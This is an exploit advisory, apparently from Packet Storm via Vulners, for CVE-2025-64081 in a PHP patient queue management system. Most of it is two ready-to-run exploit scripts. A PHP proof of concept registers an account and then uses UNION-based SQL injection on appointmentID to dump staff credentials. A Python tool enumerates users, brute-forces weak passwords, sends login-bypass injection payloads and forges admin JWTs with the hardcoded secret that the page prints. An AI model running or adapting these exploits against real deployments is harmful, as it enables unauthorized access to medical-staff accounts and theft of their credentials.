Lucene search
K

πŸ“„ Patients Waiting Area Queue Management System 1.0 SQL Injection

πŸ—“οΈΒ 13 Feb 2026Β 00:00:00Reported byΒ indoushkaTypeΒ 
packetstorm
Β packetstorm
πŸ”—Β packetstorm.newsπŸ‘Β 134Β Views

SQL injection on appointmentID allows auth bypass and DB dump; hardcoded secret enables impersonation.

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2025-64081
8 Dec 202519:30
–circl
CNNVD
SourceCodester Patients Waiting Area Queue Management System SQL注ε…₯漏洞
8 Dec 202500:00
–cnnvd
CVE
CVE-2025-64081
8 Dec 202500:00
–cve
Cvelist
CVE-2025-64081
8 Dec 202500:00
–cvelist
EUVD
EUVD-2025-201798
8 Dec 202518:30
–euvd
NVD
CVE-2025-64081
8 Dec 202518:15
–nvd
Packet Storm
πŸ“„ Patients Waiting Area Queue Management System 1.0 SQL Injection
13 Nov 202500:00
–packetstorm
Positive Technologies
PT-2025-49586
8 Dec 202500:00
–ptsecurity
RedhatCVE
CVE-2025-64081
9 Dec 202500:11
–redhatcve
Vulnrichment
CVE-2025-64081
8 Dec 202500:00
–vulnrichment
Rows per page
=============================================================================================================================================
    | # Title     : Patients Waiting Area Queue Management System v1.0 Multi vulnerabilities                                                    |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
    | # Vendor    : https://www.sourcecodester.com/download-code?nid=18348&title=+Patients+Waiting+Area+Queue+Management+System                 |
    =============================================================================================================================================
    
    [+] References : https://packetstorm.news/files/id/211592/ & 	CVE-2025-64081
    
    [+] Summary : The application is vulnerable to SQL Injection due to improper sanitization on the 'appointmentID' parameter. Authentication bypass and full database dump are possible.
                  multiple critical security vulnerabilities discovered in a PHP-based authentication system. The assessment reveals fundamental flaws in the authentication mechanism, 
                  JWT implementation, and input validation that could lead to complete system compromise.
    
    [+] Vulnerability Type:
    
    1. Hardcoded JWT Secret Key (CRITICAL)
    
        Risk Level: Critical
    
        Impact: Complete authentication bypass
    
        Root Cause: Static secret key 'pamzey@7877881825419880518' embedded in source code
    
        Exploitation: Attackers can forge valid JWTs for any user ID
    
        Remediation: Use environment variables and key rotation
    
    2. User Enumeration (HIGH)
    
        Risk Level: High
    
        Impact: Information disclosure
    
        Root Cause: Different error messages for "User not found" vs "Incorrect password"
    
        Exploitation: Attackers can identify valid user emails
    
        Remediation: Use generic error messages
    
    3. Weak Password Policy (MEDIUM)
    
        Risk Level: Medium
    
        Impact: Account compromise
    
        Root Cause: No password complexity requirements
    
        Exploitation: Common passwords like "123456" can be brute-forced
    
        Remediation: Implement password policy and rate limiting
    
    4. Mixed Authentication Methods (MEDIUM)
    
        Risk Level: Medium
    
        Impact: Inconsistent security controls
    
        Root Cause: Accepts both JSON and form-data for same endpoints
    
        Exploitation: Potential bypass through less-secure method
    
        Remediation: Standardize on single authentication method
    	
    5. SQL Injection (UNION-BASED)
    
    [+] Unauthenticated: YES (after registration)
    
    [+]  POC :  * Usage: php poc.php <target_url> 
    
    <?php
    /*
     Patients Waiting Area Queue Management System v1.0 - SQL Injection PoC
     by Indoushka
    */
    
    function http_post_json($url, $data){
        $ch = curl_init($url);
        curl_setopt_array($ch, [
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_POST => true,
            CURLOPT_HTTPHEADER => ['Content-Type: application/json'],
            CURLOPT_POSTFIELDS => json_encode($data),
        ]);
        return curl_exec($ch);
    }
    
    function http_post($url, $data){
        $ch = curl_init($url);
        curl_setopt_array($ch, [
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_POST => true,
            CURLOPT_POSTFIELDS => http_build_query($data),
        ]);
        return curl_exec($ch);
    }
    
    function http_get($url){
        $ch = curl_init($url);
        curl_setopt_array($ch, [
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_FOLLOWLOCATION => false,
        ]);
        return curl_exec($ch);
    }
    
    function print_table($rows, $headers){
        $widths = [];
        foreach ($headers as $i => $h) $widths[$i] = strlen($h);
        foreach ($rows as $r)
            foreach ($r as $i => $t)
                $widths[$i] = max($widths[$i], strlen($t));
    
        $sep = "+";
        foreach ($widths as $w) $sep .= str_repeat("-", $w + 2) . "+";
        echo "$sep\n";
    
        echo "|";
        foreach ($headers as $i => $h) echo " " . str_pad($h, $widths[$i]) . " |";
        echo "\n$sep\n";
    
        foreach ($rows as $r){
            echo "|";
            foreach ($r as $i => $t) echo " " . str_pad($t, $widths[$i]) . " |";
            echo "\n";
        }
        echo "$sep\n";
    }
    
    if ($argc != 2){
        echo "Usage: php $argv[0] <target>\n";
        exit;
    }
    
    $target = $argv[1];
    $user = [
        "firstName" => "pr0f",
        "lastName"  => "pr0f",
        "email"     => "[email protected]",
        "password"  => "getr3kt",
        "role"      => "doctor"
    ];
    
    // 1) Register user
    echo "[+] Registering user...\n";
    $r = http_post_json("http://$target/php/api_register_staff.php", $user);
    if (!$r){ echo "[-] Register failed\n"; exit; }
    echo "[+] Registration OK\n";
    
    // 2) Login
    echo "[+] Logging in...\n";
    $r = http_post("http://$target/php/api_login_staff.php", [
        "email" => $user['email'],
        "password" => $user['password']
    ]);
    if (!$r){ echo "[-] Login failed\n"; exit; }
    echo "[+] Login OK\n";
    
    // 3) SQL Injection
    echo "[+] SQL injection...\n";
    $payload = "5' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,id,email,NULL,password,NULL,NULL,NULL,NULL,NULL,first_name,last_name,role,NULL,is_active from staff-- ";
    $r = http_get("http://$target/php/api_patient_schedule.php?appointmentID=" . urlencode($payload));
    if (!$r){ echo "[-] Injection failed\n"; exit; }
    
    $j = json_decode(trim($r), true);
    if (!$j || !isset($j['appointment'])){
        echo "[-] Dump empty\n";
        exit;
    }
    
    echo "[+] Data extracted!\n\n";
    
    $rows = [];
    foreach ($j['appointment'] as $a){
        $rows[] = [
            $a['time'],                   // id
            $a['doctor'],                 // first_name last_name
            $a['appointment_date'],       // email
            $a['reason'],                 // password
            $a['fullname'],               // role
            $a['appointment'],            // is_active
        ];
    }
    
    $headers = ["id", "name", "email", "password", "role", "active"];
    print_table($rows, $headers);
    
    ?>
    
    ==========================
    [+]POC 2 :
    ========================
    
    #!/usr/bin/env python3
    import jwt
    import requests
    import json
    import sys
    import time
    import logging
    import argparse
    from colorama import init, Fore, Style
    
    # Initialize logging
    logging.basicConfig(level=logging.WARNING, format='%(asctime)s - %(levelname)s - %(message)s')
    logger = logging.getLogger(__name__)
    
    init(autoreset=True)
    
    class SecurityAssessmentTool:
        def __init__(self, target_url):
            # Store target URL and ensure it's properly formatted
            if not target_url.startswith(('http://', 'https://')):
                logger.warning("URL should start with http:// or https://")
                target_url = 'http://' + target_url
            self.target = target_url.rstrip('/')
            
            # WARNING: Hardcoded secret should be obtained from config or environment variable
            # SECURITY NOTE: Never hardcode secrets in production code
            # Recommended approach:
            # import os
            # self.secret_key = os.getenv('JWT_SECRET', '')
            self.secret_key = 'pamzey@7877881825419880518'
            
            self.session = requests.Session()
            # Set default timeout for all requests (prevents hanging)
            self.session.timeout = 10
            
            # Statistics for reporting
            self.findings = {
                'vulnerabilities': [],
                'warnings': [],
                'info': []
            }
            
        def print_banner(self):
            print(f"""
    {Fore.RED}╔══════════════════════════════════════════════════════════╗
    β•‘        PHP Auth System Security Assessment          β•‘
    β•‘                              β•‘
    β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•{Style.RESET_ALL}
            """)
    
        def safe_request(self, endpoint="", method="POST", data=None, headers=None, timeout=10):
            """Make HTTP requests with proper error handling"""
            try:
                url = f"{self.target}/{endpoint}" if endpoint else self.target
                response = self.session.request(
                    method=method,
                    url=url,
                    data=data,
                    headers=headers,
                    timeout=timeout
                )
                return response
            except requests.exceptions.Timeout:
                logger.error(f"Request timeout for {url}")
                return None
            except requests.exceptions.ConnectionError:
                logger.error(f"Connection error for {url}")
                return None
            except Exception as e:
                logger.error(f"Unexpected error for {url}: {e}")
                return None
    
        def test_user_enumeration(self):
            """Test for user enumeration vulnerability"""
            print(f"\n{Fore.CYAN}[*] Testing for user enumeration...{Style.RESET_ALL}")
            
            common_emails = [
                'admin@localhost',
                '[email protected]',
                '[email protected]',
                'root@localhost',
                '[email protected]',
                '[email protected]',
                '[email protected]'
            ]
            
            valid_users = []
            
            for email in common_emails:
                data = {
                    'email': email,
                    'password': 'wrongpassword123'
                }
                
                response = self.safe_request(data=data)
                if not response:
                    continue
                    
                try:
                    response_text = response.text
                    if 'Password is incorrect' in response_text:
                        print(f"{Fore.GREEN}[+] User found: {email}{Style.RESET_ALL}")
                        valid_users.append(email)
                        self.findings['vulnerabilities'].append(
                            f"User enumeration possible - discovered user: {email}"
                        )
                    elif 'User not found' in response_text:
                        print(f"{Fore.YELLOW}[-] Not found: {email}{Style.RESET_ALL}")
                        
                except Exception as parse_error:
                    logger.error(f"Error parsing response for {email}: {parse_error}")
            
            return valid_users
    
        def test_weak_password(self, email):
            """Test for weak/common passwords"""
            print(f"\n{Fore.CYAN}[*] Testing weak passwords for: {email}{Style.RESET_ALL}")
            
            passwords = [
                '123456', 'password', 'admin123', 'welcome', '123456789',
                'qwerty', 'password123', 'admin', '12345', '12345678'
            ]
            
            for pwd in passwords:
                data = {
                    'email': email,
                    'password': pwd
                }
                
                response = self.safe_request(data=data)
                if not response:
                    continue
                    
                try:
                    # Parse JSON response safely
                    response_data = response.json()
                    if 'token' in response_data:
                        token = response_data['token']
                        print(f"{Fore.GREEN}[+] Found password: {pwd}{Style.RESET_ALL}")
                        self.findings['vulnerabilities'].append(
                            f"Weak password found for {email}: {pwd}"
                        )
                        return token, pwd
                        
                except json.JSONDecodeError:
                    # Response is not JSON
                    continue
                except KeyError:
                    # 'token' key not in response
                    continue
                except Exception as e:
                    logger.error(f"Error processing response: {e}")
            
            print(f"{Fore.RED}[-] No weak password found{Style.RESET_ALL}")
            return None, None
    
        def analyze_jwt_token(self, token=None):
            """Analyze JWT token for vulnerabilities"""
            print(f"\n{Fore.CYAN}[*] Analyzing JWT implementation...{Style.RESET_ALL}")
            
            if not token:
                # Test with hardcoded secret
                payload = {
                    'user_id': 1,
                    'exp': int(time.time()) + 31536000
                }
                
                try:
                    fake_token = jwt.encode(payload, self.secret_key, algorithm='HS256')
                    # Ensure token is string (PyJWT v2 returns string, v1 returns bytes)
                    if isinstance(fake_token, bytes):
                        fake_token = fake_token.decode('utf-8')
                        
                    print(f"{Fore.GREEN}[+] Created test token for user 1{Style.RESET_ALL}")
                    self.findings['vulnerabilities'].append(
                        "Hardcoded JWT secret allows token forgery"
                    )
                    return fake_token
                    
                except Exception as e:
                    print(f"{Fore.RED}[!] Error creating token: {e}{Style.RESET_ALL}")
                    return None
            
            else:
                # Analyze existing token
                try:
                    decoded = jwt.decode(
                        token, 
                        self.secret_key, 
                        algorithms=['HS256'], 
                        options={'verify_exp': False}
                    )
                    
                    print(f"{Fore.GREEN}[+] Token decoded successfully:{Style.RESET_ALL}")
                    print(f"    User ID: {decoded['user_id']}")
                    print(f"    Expiration: {decoded['exp']}")
                    
                    # Test token tampering
                    decoded['user_id'] = 1
                    decoded['exp'] = int(time.time()) + 31536000
                    
                    new_token = jwt.encode(decoded, self.secret_key, algorithm='HS256')
                    if isinstance(new_token, bytes):
                        new_token = new_token.decode('utf-8')
                        
                    print(f"{Fore.GREEN}[+] Created admin token:{Style.RESET_ALL}")
                    print(f"    {new_token}")
                    
                    return new_token
                    
                except jwt.exceptions.InvalidTokenError as e:
                    print(f"{Fore.RED}[!] Invalid token: {e}{Style.RESET_ALL}")
                    return None
                except Exception as e:
                    print(f"{Fore.RED}[!] Error decoding token: {e}{Style.RESET_ALL}")
                    return None
    
        def test_authentication_bypass(self, token):
            """Test authentication bypass"""
            print(f"\n{Fore.CYAN}[*] Testing authentication bypass...{Style.RESET_ALL}")
            
            # Test with Peer prefix (as expected by the PHP code)
            headers = {
                'Authorization': f'Peer{token}'
            }
            
            response = self.safe_request(method="GET", headers=headers)
            if not response:
                return
                
            if response.status_code == 200:
                try:
                    data = response.json()
                    print(f"{Fore.GREEN}[+] Authentication successful!{Style.RESET_ALL}")
                    print(f"    Response: {json.dumps(data, indent=2)}")
                    self.findings['vulnerabilities'].append(
                        "Authentication bypass possible with forged JWT"
                    )
                except json.JSONDecodeError:
                    print(f"{Fore.GREEN}[+] Authentication successful!{Style.RESET_ALL}")
                    print(f"    Raw response: {response.text[:100]}...")
            else:
                print(f"{Fore.YELLOW}[-] Access denied: {response.status_code}{Style.RESET_ALL}")
    
        def test_sql_injection(self, email):
            """Test for SQL injection vulnerabilities"""
            print(f"\n{Fore.CYAN}[*] Testing SQL Injection...{Style.RESET_ALL}")
            
            payloads = [
                f"{email}' OR '1'='1",
                f"{email}'--",
                f"{email}'/*",
                f"admin' OR 1=1--",
                f"' OR 'a'='a"
            ]
            
            for payload in payloads:
                data = {
                    'email': payload,
                    'password': 'anything'
                }
                
                response = self.safe_request(data=data)
                if not response:
                    continue
                    
                try:
                    response_data = response.json()
                    if 'token' in response_data:
                        token = response_data['token']
                        print(f"{Fore.GREEN}[+] SQL Injection successful!{Style.RESET_ALL}")
                        print(f"    Payload: {payload}")
                        self.findings['vulnerabilities'].append(
                            f"SQL Injection possible with payload: {payload}"
                        )
                        return token
                        
                except (json.JSONDecodeError, KeyError):
                    continue
                except Exception as e:
                    logger.error(f"Error processing SQLi response: {e}")
            
            print(f"{Fore.RED}[-] SQL Injection attempts failed{Style.RESET_ALL}")
            return None
    
        def run_assessment(self):
            """Run complete security assessment"""
            self.print_banner()
            
            print(f"{Fore.YELLOW}[*] Target: {self.target}{Style.RESET_ALL}")
            print(f"{Fore.YELLOW}[*] Starting security assessment...{Style.RESET_ALL}")
            
            # 1. Test user enumeration
            valid_users = self.test_user_enumeration()
            
            if not valid_users:
                print(f"{Fore.YELLOW}[-] No users found with default list{Style.RESET_ALL}")
                valid_users = ['admin@localhost']
            
            # 2. Test each discovered user
            for user in valid_users:
                print(f"\n{Fore.MAGENTA}[*] Testing user: {user}{Style.RESET_ALL}")
                
                # Test SQL Injection
                token = self.test_sql_injection(user)
                
                # Test weak passwords
                if not token:
                    token, password = self.test_weak_password(user)
                
                # Test JWT vulnerabilities
                if token:
                    admin_token = self.analyze_jwt_token(token)
                else:
                    admin_token = self.analyze_jwt_token()
                
                # Test authentication bypass
                if admin_token:
                    self.test_authentication_bypass(admin_token)
                    
                    print(f"\n{Fore.GREEN}[+] Assessment complete for user {user}{Style.RESET_ALL}")
                    break
            
            # Print summary
            print(f"\n{Fore.CYAN}{'='*60}{Style.RESET_ALL}")
            print(f"{Fore.CYAN}[*] SECURITY ASSESSMENT SUMMARY{Style.RESET_ALL}")
            print(f"{Fore.CYAN}{'='*60}{Style.RESET_ALL}")
            
            if self.findings['vulnerabilities']:
                print(f"{Fore.RED}[!] CRITICAL VULNERABILITIES FOUND:{Style.RESET_ALL}")
                for vuln in self.findings['vulnerabilities']:
                    print(f"    β€’ {vuln}")
            else:
                print(f"{Fore.GREEN}[+] No critical vulnerabilities found{Style.RESET_ALL}")
    
    if __name__ == "__main__":
        parser = argparse.ArgumentParser(description='PHP Auth System Security Assessment Tool')
        parser.add_argument('target_url', help='Target URL (e.g., http://example.com/auth.php)')
        parser.add_argument('--verbose', '-v', action='store_true', help='Enable verbose logging')
        
        args = parser.parse_args()
        
        if args.verbose:
            logging.getLogger().setLevel(logging.INFO)
        
        # Legal disclaimer
        print(f"{Fore.RED}[!] LEGAL NOTICE:{Style.RESET_ALL}")
        print("This tool is for authorized security testing only.")
        print("Use only on systems you own or have explicit permission to test.")
        print("The author is not responsible for any misuse of this tool.")
        print("-" * 60)
        
        proceed = input("Do you have authorization to test the target? (yes/no): ")
        if proceed.lower() != 'yes':
            print("Exiting...")
            sys.exit(0)
        
        assessment = SecurityAssessmentTool(args.target_url)
        assessment.run_assessment()
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================

Data

Build on a solid foundation withΒ Vulners data

WeΒ provide theΒ essential building blocks forΒ cybersecurity solutions withΒ comprehensive, structured, andΒ constantly updated vulnerability andΒ exploits data

Api

Power your application withΒ Vulners API

The Vulners REST API offers reliable, high-performance access toΒ vulnerabilityΒ intelligence, withΒ 99.9%Β SLAΒ uptime andΒ CDN-backed data delivery forΒ seamlessΒ global access

App

Assess and manage vulnerabilities withΒ VulnersΒ tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

13 Feb 2026 00:00Current
5.9Medium risk
Vulners AI Score5.9
CVSS 3.19.8
EPSS0.00052
SSVC
134